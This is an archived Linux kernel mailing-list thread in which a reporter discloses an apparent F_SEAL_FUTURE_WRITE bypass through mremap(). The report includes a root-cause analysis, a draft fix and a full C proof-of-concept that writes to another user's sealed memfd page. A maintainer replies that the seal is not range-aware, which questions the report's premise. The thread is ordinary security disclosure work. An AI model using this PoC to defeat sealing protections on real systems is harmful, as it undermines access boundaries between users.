mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
* mm/mremap: F_SEAL_FUTURE_WRITE can be bypassed via mremap() VMA expansion/duplication
@ 2026-11-07  3:07 Junyoung Jang
  2026-11-07 13:17 ` David Hildenbrand (Arm)
  0 siblings, 1 reply; 2+ messages in thread
From: Junyoung Jang @ 2026-11-07  3:07 UTC (permalink / raw)
  To: Andrew Morton, Liam R . Howlett, Lorenzo Stoakes, Hugh Dickins,
	David Hildenbrand
  Cc: Vlastimil Babka, Jann Horn, Pedro Falcato, Baolin Wang, linux-mm,
	linux-kernel, Junyoung Jang

Hello,

I found a reproducible F_SEAL_FUTURE_WRITE seal-policy bypass. A process
holding a one-page shared writable memfd mapping created before the seal can
use mremap() after the seal to gain writable access to additional file pages.

In the accompanying two-UID reproducer, the second page belongs to a memfd
created by a different unprivileged user. While a new writable mmap() and
pwrite() to that second page both fail with -EPERM, the mremap() path
succeeds and modifies the page's contents.

Affected tree tested:

- Linux 7.4.0-rc1-gd48723711bae, built directly from upstream commit
  d48723711bae9b8cdc56719c448ba42fef28cbee using x86_64_defconfig.
- A second image built from the same commit with the proposed mm/mremap.c
  diff, reported by uname as 7.4.0-rc1-gd48723711bae-dirty.
- Each before/after pair was booted in QEMU with the same statically
  linked C PoC.

Root cause:

The missing seal check is in mm/mremap.c:check_prep_vma() (lines 1808-1872
of the tested commit). mmap() calls memfd_check_seals_mmap() at
mm/mmap.c:499; for F_SEAL_FUTURE_WRITE, mm/memfd.c:384-385 rejects a
new shared writable mapping with EPERM. check_prep_vma() has no equivalent
check before it permits a larger mapping.

For the PoC's old_len=0 call, this condition at mm/mremap.c:1819 only
rejects duplication of a non-shared VMA:

    if (!old_len && !vma_test_any(vma, VMA_SHARED_BIT, VMA_MAYSHARE_BIT)) {

It is false for the PoC's MAP_SHARED VMA. check_prep_vma() then checks
VMA bounds and expansion limits and returns 0 at mm/mremap.c:1872 without
checking vma->vm_file for write seals. For this zero-length call,
expand_vma() moves the VMA and reaches copy_vma_and_data(), which calls
copy_vma() with the larger new_len (mm/mremap.c:1293-1295):

    new_vma = copy_vma(&vma, vrm->new_addr, vrm->new_len, new_pgoff,
                       new_anon_pgoff, &pmc.need_rmap_locks,
                       vrm->flags & MREMAP_DONTUNMAP);

copy_vma() can duplicate the original VMA and extend its range
(mm/vma.c:2052-2055), retaining VM_WRITE and VM_MAYWRITE. The newly
covered second memfd page is writable despite F_SEAL_FUTURE_WRITE.
Ordinary expansion with old_len=one page also succeeded on the unpatched
kernel. A read-only shared mapping with VM_MAYWRITE can likewise be
expanded and then changed to PROT_WRITE with mprotect().

Impact:

This allows a process to write to file pages outside its pre-seal mapping
across a UID boundary, affecting scenarios where a memfd owner grants
limited writable access to a specific range before sealing and relies on
F_SEAL_FUTURE_WRITE to prevent future writable mappings of other pages.

Reproducer summary:

1. Start as root only to set up two distinct unprivileged UIDs (10002 for
   the owner, 10001 for the writer); both drop all capabilities.
2. UID 10002 creates a two-page memfd and initializes page two to 'A'.
3. UID 10002 passes the fd to UID 10001 via SCM_RIGHTS.
4. UID 10001 maps only page one with MAP_SHARED and PROT_WRITE.
5. UID 10002 adds F_SEAL_FUTURE_WRITE.
6. UID 10001 confirms a fresh writable mmap() of page two and pwrite() to it
   both fail with -EPERM.
7. UID 10001 calls mremap(old_addr, 0, 2 * page_size, MREMAP_MAYMOVE),
   writes 'Z' through the expanded mapping, and UID 10002 reads 'Z' back
   from the second file page.

Build and run:
  $ cc -O0 -g -Wall -Wextra -Werror -static memfd_future_write_mremap_poc.c -o poc
  $ sudo ./poc
  writer uid=10001; mmap=EPERM; pwrite=EPERM; mremap write=Z; result=63
  owner uid=10002; file page 2=Z; size=8192; result=255

Suggested fix direction:

I believe mremap() needs to check the memfd write seal before duplicating
(old_len=0) or expanding (new_len > old_len) a shared VMA that has
VM_MAYWRITE.

I tested the rough diff below in check_prep_vma() on the same commit and
confirmed that it blocks the reproducer (mremap fails with -EPERM). However,
I am sending this as a bug report rather than a formal [PATCH] because I am
unsure about potential side effects:

1. Because a PROT_READ shared mapping with VM_MAYWRITE could be expanded and
   later made writable via mprotect(), the diff temporarily sets VMA_WRITE_BIT
   on a local flags copy to force memfd_check_seals_mmap() to return -EPERM.
   However, this rejects legitimate read-only mremap() expansions outright,
   whereas mmap() would normally allow a read-only mapping and simply clear
   VM_MAYWRITE.
2. I am not certain whether check_prep_vma() is the right place regarding
   locking/synchronization against a concurrent F_ADD_SEALS call.

I would appreciate your guidance on the proper way to handle this, or feel
free to take it from here:

diff --git a/mm/mremap.c b/mm/mremap.c
index 70b7264aa..6ed390ed4 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -14,6 +14,7 @@
 #include <linux/shm.h>
 #include <linux/ksm.h>
 #include <linux/mman.h>
+#include <linux/memfd.h>
 #include <linux/swap.h>
 #include <linux/capability.h>
 #include <linux/fs.h>
@@ -1807,6 +1808,17 @@ static int check_prep_vma(struct vma_remap_struct *vrm)
 
 	old_len = vrm->old_len;
 	new_len = vrm->new_len;
+	if (new_len > old_len && vma->vm_file &&
+	    vma_test_all(vma, VMA_SHARED_BIT, VMA_MAYWRITE_BIT)) {
+		vma_flags_t flags = vma->flags;
+		int err;
+
+		/* A larger VMA could become writable via mprotect(). */
+		vma_flags_set(&flags, VMA_WRITE_BIT);
+		err = memfd_check_seals_mmap(vma->vm_file, &flags);
+		if (err)
+			return err;
+	}
 
 	/*
 	 * !old_len is a special case where an attempt is made to 'duplicate'

Reproducer code (memfd_future_write_mremap_poc.c):

// SPDX-License-Identifier: GPL-2.0
/*
 * Check whether a mapping created before F_SEAL_FUTURE_WRITE can be
 * duplicated over a second page by a different UID after the seal.
 */
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <linux/capability.h>
#include <linux/memfd.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define OWNER_UID 10002
#define WRITER_UID 10001

static int drop_to(uid_t uid)
{
	struct __user_cap_header_struct hdr = {
		.version = _LINUX_CAPABILITY_VERSION_3, .pid = 0,
	};
	struct __user_cap_data_struct caps[2] = { { 0 }, { 0 } };

	if (setgroups(0, NULL) || setresgid(uid, uid, uid) ||
	    setresuid(uid, uid, uid))
		return -1;
	if (getuid() != uid || geteuid() != uid ||
	    syscall(SYS_capget, &hdr, caps) ||
	    caps[0].effective || caps[1].effective)
		return -1;
	return 0;
}

static int send_fd(int sock, int fd)
{
	char data = 'F';
	char control[CMSG_SPACE(sizeof(fd))] = {};
	struct iovec iov = { .iov_base = &data, .iov_len = 1 };
	struct msghdr msg = {
		.msg_iov = &iov,
		.msg_iovlen = 1,
		.msg_control = control,
		.msg_controllen = sizeof(control),
	};
	struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);

	cmsg->cmsg_level = SOL_SOCKET;
	cmsg->cmsg_type = SCM_RIGHTS;
	cmsg->cmsg_len = CMSG_LEN(sizeof(fd));
	memcpy(CMSG_DATA(cmsg), &fd, sizeof(fd));
	return sendmsg(sock, &msg, 0) == 1 ? 0 : -1;
}

static int recv_fd(int sock)
{
	char data;
	char control[CMSG_SPACE(sizeof(int))] = {};
	struct iovec iov = { .iov_base = &data, .iov_len = 1 };
	struct msghdr msg = {
		.msg_iov = &iov,
		.msg_iovlen = 1,
		.msg_control = control,
		.msg_controllen = sizeof(control),
	};
	struct cmsghdr *cmsg;
	int fd;

	if (recvmsg(sock, &msg, 0) != 1 || data != 'F')
		return -1;
	cmsg = CMSG_FIRSTHDR(&msg);
	if (!cmsg || cmsg->cmsg_level != SOL_SOCKET ||
	    cmsg->cmsg_type != SCM_RIGHTS ||
	    cmsg->cmsg_len != CMSG_LEN(sizeof(fd)))
		return -1;
	memcpy(&fd, CMSG_DATA(cmsg), sizeof(fd));
	return fd;
}

static int writer(int sock, size_t page)
{
	char *old, *expanded;
	char event;
	int fd;
	unsigned int result = 0;

	if (drop_to(WRITER_UID) || getuid() != WRITER_UID)
		return 1;
	result |= 1;
	fd = recv_fd(sock);
	if (fd < 0)
		return 2;
	old = mmap(NULL, page, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
	if (old == MAP_FAILED)
		return 3;
	result |= 2;
	if (write(sock, "R", 1) != 1 || read(sock, &event, 1) != 1 ||
	    event != 'S')
		return 4;
	result |= 4;
	void *fresh = mmap(NULL, page, PROT_READ | PROT_WRITE, MAP_SHARED,
			   fd, page);
	if (fresh != MAP_FAILED) {
		munmap(fresh, page);
		fprintf(stderr, "writer: fresh writable mmap unexpectedly succeeded\n");
		return 5;
	}
	if (errno != EPERM) {
		fprintf(stderr, "writer: fresh writable mmap errno=%d\n", errno);
		return 6;
	}
	result |= 8;
	errno = 0;
	ssize_t written = pwrite(fd, "X", 1, page);
	if (written != -1 || errno != EPERM) {
		fprintf(stderr, "writer: pwrite returned %zd errno=%d\n",
			written, errno);
		return 7;
	}
	result |= 16;
	expanded = mremap(old, 0, 2 * page, MREMAP_MAYMOVE);
	if (expanded == MAP_FAILED) {
		fprintf(stderr, "writer: mremap errno=%d\n", errno);
		return 8;
	}
	expanded[page] = 'Z';
	result |= 32;
	if (write(sock, "Z", 1) != 1)
		return 9;
	printf("writer uid=%u; mmap=EPERM; pwrite=EPERM; mremap write=Z; result=%u\n",
	       getuid(), result);
	fflush(stdout);
	munmap(expanded, 2 * page);
	munmap(old, page);
	close(fd);
	return result == 63 ? 0 : 10;
}

int main(void)
{
	int pair[2], fd, status;
	char event, byte = 0;
	struct stat st;
	pid_t pid;
	size_t page = sysconf(_SC_PAGESIZE);
	unsigned int result = 0;

	alarm(10);
	if (geteuid() != 0)
		return 77;
	if (socketpair(AF_UNIX, SOCK_SEQPACKET, 0, pair))
		return 1;
	pid = fork();
	if (pid < 0)
		return 2;
	if (!pid) {
		close(pair[0]);
		_exit(writer(pair[1], page));
	}
	close(pair[1]);
	if (drop_to(OWNER_UID) || getuid() != OWNER_UID)
		return 3;
	result |= 1;
	fd = memfd_create("seal-cross-uid", MFD_ALLOW_SEALING);
	if (fd < 0 || ftruncate(fd, 2 * page) ||
	    pwrite(fd, "A", 1, page) != 1)
		return 4;
	result |= 2;
	if (send_fd(pair[0], fd) || read(pair[0], &event, 1) != 1 ||
	    event != 'R')
		return 5;
	result |= 4;
	if (fcntl(fd, F_ADD_SEALS, F_SEAL_FUTURE_WRITE))
		return 6;
	result |= 8;
	if (write(pair[0], "S", 1) != 1)
		return 7;
	if (read(pair[0], &event, 1) != 1 || event != 'Z') {
		if (waitpid(pid, &status, 0) == pid && WIFEXITED(status))
			fprintf(stderr, "owner: writer exited %d before Z\n",
				WEXITSTATUS(status));
		return 7;
	}
	result |= 16;
	if (pread(fd, &byte, 1, page) != 1 || byte != 'Z')
		return 8;
	result |= 32;
	if (fstat(fd, &st) || st.st_size != (off_t)(2 * page))
		return 9;
	result |= 64;
	if (waitpid(pid, &status, 0) != pid ||
	    !WIFEXITED(status) || WEXITSTATUS(status))
		return 10;
	result |= 128;
	printf("owner uid=%u; file page 2=%c; size=%lld; result=%u\n",
	       getuid(), byte, (long long)st.st_size, result);
	fflush(stdout);
	return result == 255 ? 0 : 11;
}

Best regards,
Junyoung Jang <graypanda.inzag@gmail.com>

^ permalink raw reply	[flat|nested] 2+ messages in thread

* Re: mm/mremap: F_SEAL_FUTURE_WRITE can be bypassed via mremap() VMA expansion/duplication
  2026-11-07  3:07 mm/mremap: F_SEAL_FUTURE_WRITE can be bypassed via mremap() VMA expansion/duplication Junyoung Jang
@ 2026-11-07 13:17 ` David Hildenbrand (Arm)
  0 siblings, 0 replies; 2+ messages in thread
From: David Hildenbrand (Arm) @ 2026-11-07 13:17 UTC (permalink / raw)
  To: Junyoung Jang, Andrew Morton, Liam R . Howlett, Lorenzo Stoakes,
	Hugh Dickins
  Cc: Vlastimil Babka, Jann Horn, Pedro Falcato, Baolin Wang, linux-mm,
	linux-kernel

On 11/7/26 04:07, Junyoung Jang wrote:
> Hello,

Hi,

> 
> I found a reproducible F_SEAL_FUTURE_WRITE seal-policy bypass. A process
> holding a one-page shared writable memfd mapping created before the seal can
> use mremap() after the seal to gain writable access to additional file pages.

F_SEAL_FUTURE_WRITE is not really range-aware. What makes you believe that it
would be?

I'd say it's expected that if someone has write access to the memfd, it has
write access to the whole thing, not just some subset that was obtained through
the initial mmap.

Any documentation that made you believe that it works that way?

-- 
Cheers,

David

^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-11-07 13:18 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-11-07  3:07 mm/mremap: F_SEAL_FUTURE_WRITE can be bypassed via mremap() VMA expansion/duplication Junyoung Jang
2026-11-07 13:17 ` David Hildenbrand (Arm)

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

all inboxes | Powered by JetHome®